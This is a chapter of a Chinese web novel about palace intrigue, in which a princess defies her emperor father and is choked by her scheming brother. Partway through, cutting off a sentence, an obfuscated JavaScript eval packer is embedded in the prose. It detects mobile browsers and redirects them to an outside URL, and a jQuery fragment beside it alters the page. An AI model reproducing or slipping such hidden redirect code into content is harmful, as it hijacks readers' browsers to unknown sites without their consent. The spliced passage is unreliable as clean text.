于是她穿着男装化为一六品小吏跟着工部众人学习,迎着狂风暴雨爬完凌城的山峰,勘察地势河流走向。外加多次与工部众人推算预测,才终于绘画出当年河流改势图。 温元钦不甘示弱回击道:“父皇,当年河流改势图是各位大人一块商讨而出的。怎么到六妹妹口中,就全成了她一人的功劳。” 温吟知怜悯地看他一眼:“四哥知晓凌城最高的峰是哪座吗?知晓凌河的起源地是哪里吗?知晓河床的沙土是什么石壤吗?” “是……”温元钦辩解:“时间太久记不清了。” 温吟知笑而不语,她连和温元钦争辩的欲望都没有。只要父皇有心,一查就知晓孰是孰非。即使当年她女扮男装,但见过她女装的朝臣又不是瞎子,哪里不知晓她真实的身份。 况且父皇哪里会不知晓当年事,只不过也是睁一只眼闭一只眼罢了。 雍和帝坐在上首看着温吟知,心中暗道他的这个女儿,勤奋努力聪慧好学。只是可惜了她是女儿身,无法继承大统。 “当年女儿并未阐明身份,最终将这功劳给四哥将功赎罪。女儿秉着救人初心,本就无意争这个功劳。” “但今日——不行。”温吟知将温元钦写着‘喜报’的折子摔在地上,“我的东西就该是我的,谁也不可以抢走原本属于我的一切。” 对,她不装了,她摊牌了。 她本来就是这样嚣张跋扈强势的性子,她根本就无法接受任何委屈。 温吟知直面迎上雍和帝威严打量的目光,温元钦叩首求饶:“父皇息怒。妹妹她这是气上头了,一时间说了些胡话。” 雍和帝除了当太子那些年外,登基以来还是头一次遇到敢在他面前摔东西的人。外加这些年他开始追求长生,平日里更会要求自己慎怒,追求内心的平静。 但他始终是做了二十九年的皇帝,是这个天下说一不二的主人。即使是他最喜欢的女儿,也不能挑战他的权威。 “跪下!”雍和帝冷脸道。 温吟知不服气的没动。 她没错,她不跪。 温元钦为她辩解:“浓浓不是有意冒犯父皇的……” 雍和帝呵斥他:“你闭嘴,滚出去。” 温元钦小声地回了句是,略微担忧地看了温吟知一眼,从养心殿退了出去。 从养心殿出来后他一直都是一副忧心忡忡的样子,直到他走得足够远,确保不会再有雍和帝的眼线后,方才卸下脸上的伪装,对身侧的随从道:“立刻差人去大肆宣扬本殿手上有亩产三石三斗的稻种,并将六公主在自己宫内偷养男宠被陛下斥责一事,速速传到民间。” 随从应下:“是。” “还有去告诉陆今年将人放了。”温元钦叫住随从,勾起意犹未尽的笑意。智者千虑,必有一失。百密一疏,终有一漏。他真是多谢浓浓身边的那宫女,为他提供了一个扳倒浓浓,翻身的好机会。 温元钦兴致勃勃道:“本殿倒是要看看本殿那个好妹妹,该如何安置他这个烫手的山芋。” 13. 三座大山 温元钦一走,屋内就只剩下父女二人。 雍和帝怒气腾腾审视着温吟知:“终归还是朕这些年对你太过好,好到让你忘记自己的身份,竟让你生出不该有的心思!” “父皇,若您生下来便是女子,您还会去统一西域继续做史上第一人,还是选择相夫教子在后宅渡过一生。”温吟知反问。 雍和帝代入了温吟知的假设,不由跟着她的思维走。他是史上第一位统治西域的帝王,从未有人取得过他这般的功绩。他在位这二十九年,也是国力最强厚的国家。若他是女子,可能在武艺上会差点,但短时间内也绝对不会有人超越他在位这些年取得的高度。 这个国家都是他一手建造的,他对自己的实力有信心。这也是为何他敢放心将朝堂交于底下官员,自己一心求仙问药的原因。 雍和帝从来不会发现他已经掉进了温吟知的思维陷阱里,因为雍和帝不会发现,他一直都是代入男子的角度去思考她提出的假设。而这,正是温吟知所想要的。 温吟知瞧见雍和帝听进去了,便走到雍和帝跟前两步距离处,跪下认错。 “父皇是浓浓的父亲,亦是一国君主。浓浓不该无视父皇的命令,是浓浓错了。”她叩首再抬起头时,好看的眉微微凝着:“但浓浓做不到将自己十二年苦心培育的成果,拱手让与他人。” 温吟知透着一股难以言喻的悲伤:“父皇您说过,浓浓是最像您的孩子。” “等您修道成仙后,仙家有仙家的规矩是不能插手凡间的事情。若四哥难堪以大任,您难道要在天上看着自己兴建的国家走向衰落吗?” 雍和帝神色不由动容。 温吟知吞下所有的委屈,假意扮轻松说道:“浓浓只是想要一个公平竞争的机会,哪怕父皇是将浓浓当成磨炼四哥的一把刀。” 轰隆一声,雍和帝觉得有什么在土崩瓦解。他这光辉戎马,政绩非凡的一生,难道要因为培育不好下一任帝王而在史书上留下不完美的一笔吗? 雍和帝伸手扶起温吟知,语气都比先前和顺了许多:“父皇不该凶你,父皇那时是气头上了。” 温吟知抿着唇摇摇头,她不怪父皇。在这个时代,如果她不能取得父皇的支持,那么她要对抗的不仅仅是皇权还有父权。 “陛下,仙鹤指路的时辰到了。”门外传来陆今年的声音,打断两人的谈话。 雍和帝颔首,对温吟知道:“浓浓你先回去,今日你所说的话,父皇会好好考虑的。” “是。”温吟知乖巧应下,推开门的瞬间,陆今年左手捧着金漆雕花木盒,迎面意气风发地跨进养心殿,一个眼神都没落在她身上。 温吟知回头看向殿内,父皇打开那金漆雕花木盒,取出一枚仙丹嚼服。 父权夫权皇权,这是这个时代压在女子身上的三座大山。 温元钦借陆今年之手,意图用婚事控制她的后半生,这是夫权。温元钦敢这么抢她功劳,也是看在自古以来从无女子当政,在借父权和皇权压她吞下所有委屈。 她所能拥有的,就是利用好父皇对她的这份亲情与这个时代搏杀。没有实力与价值的人,就会在这场博弈中成为牺牲品。 温吟知收回目光,挺直腰背往前一步步往前走——她不要成为牺牲品。 她想好好活着。 —— 温吟知从养心殿出来后,在走至一处拐角时,有人抓着她的手,将她领到了黑暗的角落里。 这是一处偏僻安静且也是她回栖鸾宫的必经之处。 温元钦锐利的目光里充满了责备和怒火,低声质问着温吟知:“浓浓,我是你一母同胞亲生的哥哥。你为什么非要告诉父皇你稻子量产比我高的事情。” “你是我唯一的嫡亲妹妹,哥哥坐上那个位置对你百利无一害。你想要的权力和富贵,哥哥都能给你,甚至也能让你入朝当官。” “你能把四石稻种给哥哥吗?哥哥真的很需要这份民心!” 温吟知看着被温元钦紧抓的手腕,狠狠地甩开了他的手后,揉着自己的手腕,轻描淡写地说了一句:“不能。” 温元钦脸色骤变,漆黑的瞳孔里阴戾的神色瞧着让人害怕。 “为什么。”温元钦不甘心地质问着温吟知:“为什么大哥可以,到我这里就不行!你做了那么多年的努力,不就是为了把这批高产的稻种当成礼物送给大哥吗?” 温吟知凝眉疑惑:“你怎么知道。” 此事她明明只同太子哥哥说过。 “当年那群小杂种嘲笑你时,你以为就只有大哥会安慰你吗?”他上前逼近一步,“哥哥只不过晚来了一步,就被大哥占了先机。” 他深邃的眼眸里闪过一丝兴奋的光芒:“哥哥我全将他们都教训了一顿,谁让他们嘲笑浓浓。” 温元钦口中的小杂种是其他兄弟姐妹,他打心底里就瞧不起父皇其他庶出的孩子。 温吟知心里有那么一丝动容,但也只是动容了一瞬,她便很冷静地反驳道:“多谢四哥哥,但被嘲笑审美一事我从未放在心上。” 她一个重活一世的人,还能将这点小事放在眼底吗? 温吟知不明白这句话哪里惹怒了温元钦,他猛地上前用手掐住她的脖子,将她的背抵在身后的墙上:“什么叫没有放在心上?你就能对大哥的事情上心,就不能对我的事情上心吗?” “同样都是你哥哥,四石稻种为什么不能送给我。”他狠厉发问,掐住她脖子的手青筋爆起。 温吟知不相信温元钦敢在这里掐死她,因此她也不挣扎,只是蔑视地看着他,说着戳他心窝子的话:“不能!我不愿意!” 被激怒的他,手上的力度又大了些。 因为那个梦境,梦里的温元钦登基后软禁了她。每晚她都会梦见她被囚禁在那个狭小的空间里,鲜血染红了红色的梦境。没有人能听到她绝望崩溃的尖叫声…… 她不愿意将自己的命运交到任何人手里! 温吟知咬着下唇冷冷道:“你忘了,是谁找来陆今年说我是邪祟,要治好我的梦魇,只能将我嫁出去。” 温元钦讪讪抬起头来,五指松了些。 “是谁在得知我梦魇后,怂恿母后将我的药方换为具有慢性毒药的安神汤?是谁这么杀人于无形,想要我承受不了梦魇之苦自杀而亡,或者被慢性毒药毒死?” “又是谁察觉自己的阴谋被我识破后,当机立断在七月初五的那场夜雨,派人杀我。”温吟知微扬起下巴,向上斜晲着温元钦:“那你做这些事情的时候,有想过我和你是一母同胞的兄妹吗?” “我……”温元钦语塞,五指又松了些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309897|198783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 温吟知继续反问他:“我是不是成为你和林大人之间的交易,我嫁给他儿子,他扶持你登上太子之位。你怎么能将你唯一的亲妹妹拿出去做交易呢?” “你怎么能对你一母同胞的亲妹妹下得了这毒手?” 温元钦看着她,眼中似乎涌动过许多种情绪。 温吟知看懂了他内心里复杂的情绪,因为他处处不如他们的大哥。在太子哥哥死后他又被临时赶鸭子上架,朝廷上他也没有属于自己的势力。原本太子一派的势力也不服他,例如颜晚周的父亲中书令就完全中立。 因此温元钦急需拥护他的势力以及功绩。 他现在能动的势力不多,刚好就将主意打到了她身上。 温吟知低头看了一眼温元钦还未放开的手,接着道:“想要就凭自己的实力去争,争不到就别想让我让。我不依靠你,我也不会成为你的筹码,我也只信我自己。” “我们各凭本事——” 她的话还没说完,温元钦的手又蓦的用力,狠狠掐住她细弱的脖颈,发出一声低吼:“你为什么不喜欢哥哥?” 温吟知呼吸一紧,感觉全身气血都在往上涌,却还是坚决地说道:“我不喜欢与我为敌的蠢货。” 她若是成为了女帝,温元钦依旧还是皇亲贵族,他的荣华富贵依旧是少不了的。既然他觉得做储君的路很难走,那不如就退出让给她。 她四哥人不太聪明却还是想拿疯批偏执帝王剧本。 温元钦瞪着她,温吟知也回瞪着他,双方谁也不让谁。她骨子里埋藏着多年的疯感,在这一日彻底释放出来了。 两人互相交战,最终以温元钦落败,彻底放开了桎梏她脖子的手宣告结束。 能重新获得新鲜的空气后,温吟知扶着墙边弯腰大喘气。 温元钦站在黑暗里阴暗地盯着她,“浓浓,别和哥哥争了。哥哥答应你,无论发生什么哥哥这一辈子都会护着你。你想同哥哥争,不就是为了不嫁给林飞白吗?” “你知晓我为什么不还手吗?”温吟知单手扶墙站直身子,气息不稳地说道:“因为我还把你当做我的哥哥。” 看在血缘关系上,她试图唤醒温元钦最后的良知。 温吟知:“若你还把我和父皇当成是你的亲人,就不该让父皇吃那些丹药。” 那些丹药都是重金属,父皇还继续吃恐怕要早早嗝屁了。 温元钦很直白地告诉温吟知:“你退出,好好嫁人,我便不让陆今年给父皇炼制长生丹。” “那这就是谈崩了。”温吟知无奈道。 黑夜中响起一声怪异的猫叫,一双发光绿色的眼睛出现在墙头。温元钦循声看去,那绿色的眼睛就腾空一跃,在空中跳出完美的弧线。温元钦下意识拿手肘抵挡,温吟知却稳稳地接住了跳过来的发光绿眼睛。 撕家高傲地躺在温吟知的怀里,嘲笑地向温元钦发出一声欢快的叫声,好像在说纸老虎、胆小鬼。 温元钦甩袖将手背在身后,胸膛急速起伏着。他看着温吟知低头、单手抚摸着撕家柔顺光滑的毛,抬起头时唇边露出鬼魅的笑意。 她说: “哥哥,你玩不过我的。” “明日,我就让陆今年打入‘冷宫’。” 话落,温元钦瞬间起了寒颤。